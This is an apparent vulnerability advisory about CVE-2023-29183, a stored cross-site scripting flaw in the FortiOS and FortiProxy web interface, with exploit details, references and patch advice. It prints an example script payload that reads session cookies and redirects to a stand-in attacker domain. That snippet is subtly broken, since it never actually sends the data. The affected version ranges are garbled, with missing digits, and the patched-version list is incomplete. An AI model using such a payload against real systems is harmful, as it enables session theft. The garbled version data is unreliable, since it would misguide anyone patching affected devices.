Cross-site Scripting (XSS) is a type of security vulnerability that allows an attacker to inject malicious scripts into webpages, viewed by other users. The CVE-2023-29183 vulnerability has been discovered in FortiProxy and FortiOS systems, specifically in versions 7.2. through 7.2.4, 7.. through 7..10, and 6.4. through 6.4.12, 6.2. through 6.2.14 GUI. An authenticated attacker can exploit this vulnerability to execute malicious JavaScript code through customized guest management settings, potentially leading to unauthorized access of sensitive information.

Exploit Details

This vulnerability is caused by an improper neutralization of input during web page generation (CWE-79). Attackers can trigger the exploit by crafting guest management settings that contain malicious JavaScript code. When an authenticated user views the infected webpage, the code is executed within their browser.

The vulnerability can be exploited in several ways, such as gaining unauthorized access to the application, performing actions on behalf of the victim, and stealing sensitive data like CSRF tokens.

Here is a code snippet demonstrating a potential XSS payload which an attacker could use to exploit this vulnerability:

<script>
  // malicious JavaScript code
  document.cookie = "stolenData=" + encodeURIComponent(document.cookie) + "; path=/";
  window.location = "https://attacker-domain.example.com/collect-stolen-data";;
</script>

Original References

The following links provide in-depth information about the CVE-2023-29183 vulnerability in FortiProxy and FortiOS systems:

1. Common Vulnerabilities and Exposures (CVE) entry: CVE-2023-29183
2. Common Weakness Enumeration (CWE) description: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
3. Fortinet advisory: FG-IR-21-296: FortiProxy and FortiOS Web User Interface Cross-Site Scripting (XSS) Vulnerability

Mitigation

It is strongly recommended that users of affected FortiProxy and FortiOS systems update to the latest version as soon as possible to minimize the risk of exploitation. The patched versions corresponding to the affected releases are:

FortiOS 6.2.15 or later

In addition, web developers should follow secure coding practices, such as input validation and output encoding, to prevent potential XSS vulnerabilities in applications. Organizations can further mitigate risks by employing proper access controls for authenticated users and conducting regular security assessments of applications.

Conclusion

Cross-site scripting vulnerabilities like the one disclosed in CVE-2023-29183 continue to pose serious risks to applications and their users. By understanding the potential impact of these vulnerabilities and taking proactive measures to patch affected systems and follow secure coding practices, organizations can reduce the likelihood of exploitation and protect sensitive information.

Timeline

Published on: 09/13/2023 13:15:00 UTC
Last modified on: 09/15/2023 13:23:00 UTC